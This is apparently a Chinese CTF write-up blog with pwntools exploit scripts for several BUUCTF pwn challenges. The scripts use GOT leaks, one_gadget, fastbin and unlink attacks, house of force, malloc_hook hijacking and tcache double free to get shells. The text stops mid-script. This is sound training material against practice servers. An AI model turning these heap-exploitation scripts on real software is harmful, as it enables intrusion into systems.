文章目录
- oneshot_tjctf_2016
- wustctf2020_easyfast
- 护网杯_2018_gettingstart
- zctf2016_note2(不同类型比较导致无限堆,好题!!!)
- gyctf_2020_force(house of force)
- wustctf2020_number_game
- ciscn_2019_final_2(IO_FILE Exploitation + tcache double free)
- starctf_2019_babyshell
- actf_2019_babyheap
- ciscn_2019_en_3
- wustctf2020_name_your_dog
- picoctf_2018_are you root
- xman_2019_format
- picoctf_2018_buffer overflow 0
- judgement_mna_2016(格式化字符串还需要熟练呀!)
- bjdctf_2020_YDSneedGrirlfriend
- gyctf_2020_signin(calloc和tcache特性,通过tcache链更新篡改目标地址内容,好题!!!)
- ciscn_2019_sw_1(格式化字符串+fini.array数组篡改)
- wdb_2018_3rd_soEasy
- lctf2016_pwn200
- suctf_2018_stack
- gyctf_2020_some_thing_interesting
- hitcon_2018_children_tcache
- qctf2018_stack2
- [BSidesCF 2019]Runit
- zctf_2016_note3
- hgame2018_flag_server
- gyctf_2020_document
- 强网杯2019 拟态 STKOF(接触拟态防御)
- houseoforange_hitcon_2016
- rootersctf_2019_srop(SROP还不熟练!!!)
- ciscn_2019_final_5
- bcloud_bctf_2016(万万没想到时house of force!)
- roarctf_2019_realloc_magic(realloc、IO好题,必看!!!)
继续水题之旅…
oneshot_tjctf_2016
就是泄露got表之后,搞一个onegadget
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29723
conn = remote(HOST ,PORT)
pause()
pos = 0x600AD8
conn.recvuntil("Read location?")
conn.sendline(str(pos))
conn.recvuntil("Value: ")
puts_leak = conn.recvuntil("\n",drop=True)
puts_leak = int(puts_leak,16)
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
onegadget = libc_base + 0xf1147
conn.recvuntil("Jump location?")
conn.sendline(str(onegadget))
#pause()
conn.interactive()
wustctf2020_easyfast
最最简单额fastbin attack,连hook都不用了,直接在功能4中有system函数,只需要修改一个qword_602090
变成零。
通过观察这个全局变量上面有个0x50
,正好可以作为fastbin attack检查得size
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create(size):
conn.recvuntil("choice>")
conn.sendline("1")
conn.recvuntil("size>")
conn.sendline(str(size))
def delete(index):
conn.recvuntil("choice>")
conn.sendline("2")
conn.recvuntil("index>")
conn.sendline(str(index))
def edit(index,content):
conn.recvuntil("choice>")
conn.sendline("3")
conn.recvuntil("index>")
conn.sendline(str(index))
content = content.ljust(8,"\x00")
conn.send(content)
def getshell():
conn.recvuntil("choice>")
conn.sendline("4")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27315
conn = remote(HOST ,PORT)
pause()
key_pos = 0x602080
create(0x40)
delete(0)
edit(0,p64(key_pos))
create(0x40)
create(0x40)
edit(2,p64(0))
getshell()
conn.interactive()
护网杯_2018_gettingstart
这个题目本质上是考察了IEEE 754标准的double型存储格式,但是呢我们可以偷懒…自己编译一个c文件,然后调试一下copy出来就行了…其实这个玩儿法很多,还见过float shell,那个就很酸爽了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29307
conn = remote(HOST ,PORT)
pause()
payload = "A"*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3fb999999999999a)
conn.sendline(payload)
#pause()
conn.interactive()
zctf2016_note2(不同类型比较导致无限堆,好题!!!)
这个题目是一个非常好的题目!整个过程中分析了题目好多遍,都没有找到传统的泄露或者是溢出漏洞,最后看wp发现,涉及到一个无限堆的概念,我们先看一下真正漏洞的位置如图
首先我们看到,申请堆比较类型是unsigned int,这保证了申请堆大小不超过0x80,其中函数input_int
调用了下面出现的input
函数,真正的问题就在这个input函数里面
当我们申请堆块大小为0
的时候,系统会申请一个0x20
大小的堆
然后在输入的时候无限制输入,这就是堆溢出的溢出点!然后可以看到free函数会清空table,并且计数器不会减少,我们最多就申请4哥堆
而且还需要注意,edit函数是通过strncat和strcpy函数复制内容的,在编辑的时候需要注意截断问题。具体思路就是用unlink进行攻击,构造fake chunk即可,具体看代码很明显的
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create(size,content):
conn.recvuntil("option--->>")
conn.sendline("1")
conn.recvuntil("Input the length of the note content:(less than 128)")
conn.sendline(str(size))
conn.recvuntil("Input the note content:")
conn.sendline(content)
def show(index):
conn.recvuntil("option--->>")
conn.sendline("2")
conn.recvuntil("Input the id of the note:")
conn.sendline(str(index))
def edit(index,mode,content):
conn.recvuntil("option--->>")
conn.sendline("3")
conn.recvuntil("Input the id of the note:")
conn.sendline(str(index))
conn.recvuntil("do you want to overwrite or append?[1.overwrite/2.append]")
conn.sendline(str(mode))
conn.recvuntil("TheNewContents:")
conn.sendline(content)
def delete(index):
conn.recvuntil("option--->>")
conn.sendline("4")
conn.recvuntil("Input the id of the note:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27680
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so','./note2'], env = {'LD_PRELOAD' : '/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'})
#conn = process("./note2")
#pwnlib.gdb.attach(conn,"b *0x0400BE8\nb *0x400CB3") #0x400F70
#pwnlib.gdb.attach(conn,"b *0x400F70")
pause()
heap_list = 0x602120
name = "Assassin"
address = "Assasin's home"
puts_got = 0x602028
conn.recvuntil("Input your name:")
conn.sendline(name)
conn.recvuntil("Input your address:")
conn.sendline(address)
create(0x10,"0") #0 , 为后面申请malloc(0)预留空间
create(0x80,"1") #1 , unlink 用于free的堆
create(0x80,"2") #2 , 构造fake chunk的位置
delete(0)
#下面需要注意unlink攻击向下合并的限制要求
payload = ""
payload += p64(0)*2
payload += (p64(0) + p64(0xa1) + p64(0)*18) #chunk1
payload += (p64(0) + p64(0x31) + p64(heap_list-0x8) + p64(heap_list) + p64(0)*2) #chunk2 fake chunk!
payload += (p64(0x30) + p64(0x20) + p64(0)*2) #chunk3
payload += (p64(0) + p64(0x21) + p64(0)*2) #chunk4
''''''
create(0,payload) #3 , malloc(0)
delete(1)
payload = "a"*8 + p64(puts_got)
edit(2,1,payload)
show(0)
conn.recvuntil("Content is ")
puts_leak = conn.recvuntil("\n",drop=True)
puts_leak = u64(puts_leak.ljust(8,"\x00"))
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
print "The libc base is",hex(libc_base)
__free_hook = libc_base + libc.dump("__free_hook")
onegadget = libc_base + 0xf02a4 # 0x4526a # 0xf02a4 0xf1147
payload = "A"*0x18 + p64(__free_hook) #就是正常的劫持_free_hook然后实现onegadget
edit(2,1,payload)
edit(2,1,p64(onegadget))
#pause()
conn.interactive()
gyctf_2020_force(house of force)
可以看到题目只有两个功能,一个是add函数,可以malloc各种堆,另一个是puts函数,基本上没有用处。这个题目就不像是传统的堆的题目,需要malloc和free配合达成利用,而且我们注意到两个条件
- 第一,申请堆的大小没有做限制,一般题目中都会限制输入大小的,但这里没有
- 第二,有一个明显的堆溢出,不过申请堆多大都能写入0x50的内容,这样我们就可以控制top chunk的size了
- 第三,我们在篡改top chunk之前申请一个很大的堆,系统会调用mmap函数,申请位置会在libc附近,可以得到libc地址
- 第四,程序会泄露heap地址,这就为我们的top chunk申请到什么位置(我选择的是_malloc_hook)
这下就很容易了…按照步骤来就行了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add(size,content):
conn.recvuntil("2:puts")
conn.sendline("1")
conn.recvuntil("size")
conn.sendline(str(size))
conn.recvuntil("bin addr ")
leak = conn.recvuntil("\n",drop=True)
leak = int(leak,16)
conn.recvuntil("content")
conn.sendline(content)
return leak
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28003
conn = remote(HOST ,PORT)
pause()
libc = ELF("libc-2.23-amd64-buuctf.so")
'''第一步:通过申请很大的chunk,使程序调用mmap泄露libc附近地址'''
leak = add(0x200000,"test")
libc_base = leak + 0x200ff0
print "The libc base is",hex(libc_base)
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
__realloc_hook = __malloc_hook - 0x8
system = libc_base + libc.symbols['system']
puts = libc_base + libc.symbols['puts']
print "The __malloc_hook is",hex(__malloc_hook)
print "The system is",hex(system)
'''第二步:house of force,篡改top chunk的size'''
payload = "\x00"*0x18 + p64(0xffffffffffffffff)
heap_leak = add(0x18,payload)
'''第三步:计算当前chunk到malloc hook位置需要申请一个多大的chunk'''
distance = __malloc_hook - 0x40 - heap_leak
add(distance,payload)
'''第四步:篡改malloc hook'''
payload = "/bin/sh".ljust(0x10,"\x00") + p64(system) + p64(__malloc_hook-0x10)
add(0x20,payload)
conn.recvuntil("2:puts")
conn.sendline("1")
conn.recvuntil("size")
conn.sendline(str(__malloc_hook - 0x10)) #这个输入的位置是存放/bin/sh字符串的位置,因为输入大小没有要求,因此可以将size指向字符串地址
#pause()
conn.interactive()
wustctf2020_number_game
这个涉及到计算机补码存储的知识,本质上是因为int型存储的范围是-231-231-1,也就是-2147483648~2147483647
然后肯定是边界的问题,所以直接试一试就知道了
(水题水的也太开心了把…)
ciscn_2019_final_2(IO_FILE Exploitation + tcache double free)
这个题目,很久违地遇见了IO_FILE Exploitation的问题,通过这个题目学习感受到了光知道各种hook可不行,下面详细分析一下这个题目
题目分析
首先分析一下题目的情况,我们需要知道的首要条件,BUUCTF的ubuntu18的环境是2.27-3ubuntu1_amd64
,这个版本的libc是存在tcache double free
漏洞的
然后看程序功能,需要发现init
函数中打开了flag文件,并且将文件指针指向了666
Sandbox_Loading
发现程序通过prctl函数,把syscall函数都禁用了,用工具seccomp-tools
一看便知,这就打消了我们getshell的想法…
allocate
函数分为两个模式,第一种是可以申请0x30大小的堆,然后再第一个和第二个块写入%d的数字,也就是四字节;第二种是申请0x20大小的堆,再第一个和第二个块写入2字节。还需要注意一个全局变量bool
,只要任意一个模式申请了,就会赋值为1.
然后看delete
函数,注意两点:一是free后没有清除堆地址,存在UAF漏洞,二是free的限制条件为bool==True
,通过交替申请、释放堆可以造成tcache double free
!
show函数,就是打印内容,打印的大小与模式相同。bye_bye
函数猛一看就是输入一个字符串,然后打印字符串,之后exit退出。
解题思路
通过上述的构造条件,我们大致规划一下解题步骤思路:
- 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
- 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
- 第三步:使用show泄露libc低4位地址,计算
_IO_2_1_stdin_
中_fileno
(即stdin的文件描述符)位置 - 第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
- 第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
- 第六步:运行
bye_bye
函数触发漏洞
过程挺复杂的,而且有很多细节,别着急,我们从过程中慢慢看~首先放一份完整的代码
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
def add_note(type,number):
conn.recvuntil(">")
conn.sendline("1")
conn.recvuntil(">")
conn.sendline(str(type))
conn.recvuntil("your inode number:")
conn.sendline(str(number))
def remove_note(type):
conn.recvuntil(">")
conn.sendline("2")
conn.recvuntil(">")
conn.sendline(str(type))
def show_note(type):
conn.recvuntil(">")
conn.sendline("3")
conn.recvuntil(">")
conn.sendline(str(type))
def scanf_and_exit():
conn.recvuntil(">")
conn.sendline("4")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29971
conn = remote(HOST ,PORT)
pause()
#libc = ELF("/home/assassin/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
libc = ELF("/home/assassin/tools/python_packages/LibcSearcher/libc-database/other_libc_DIY/libc-2.27-amd64-buuctf.so")
_IO_2_1_stdin_ = libc.symbols["_IO_2_1_stdin_"]
# 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
add_note(1,1)
add_note(2,2)
add_note(2,3)
remove_note(1)
add_note(2,4)
remove_note(2)
add_note(1,1)
remove_note(2) #0x20 tcache double free
show_note(2)
#泄露堆地址的低2位,这里足够我们篡改tcache指向的堆地址了
conn.recvuntil("your short type inode number :")
heap_leak = int(conn.recvuntil("\n",drop=True))
heap_leak = (heap_leak + 0x10000) % 0x10000
print hex(heap_leak)
first_head_addr = heap_leak - 0x80
add_note(2,first_head_addr)
add_note(2,first_head_addr)
add_note(2,0x91) #篡改第一个0x30堆块的size为0x30 + 3*0x20 = 0x90
# 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
for x in range(8):
remove_note(1)
if x != 7:
add_note(2,0)
# 第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin_中_fileno(即stdin的文件描述符)位置
show_note(1)
conn.recvuntil("your int type inode number :")
libc_leak = int(conn.recvuntil("\n",drop=True))
libc_leak = (libc_leak + 0x100000000) % 0x100000000
print "The libc leak is",hex(libc_leak)
__malloc_hook = libc.symbols["__malloc_hook"] % 0x100000000
libc_base = libc_leak - 96 - 0x10 - __malloc_hook
print "The libc base is",hex(libc_base)
_IO_2_1_stdin__fileno = (libc_base + _IO_2_1_stdin_ + 0x70) % 0x100000000
print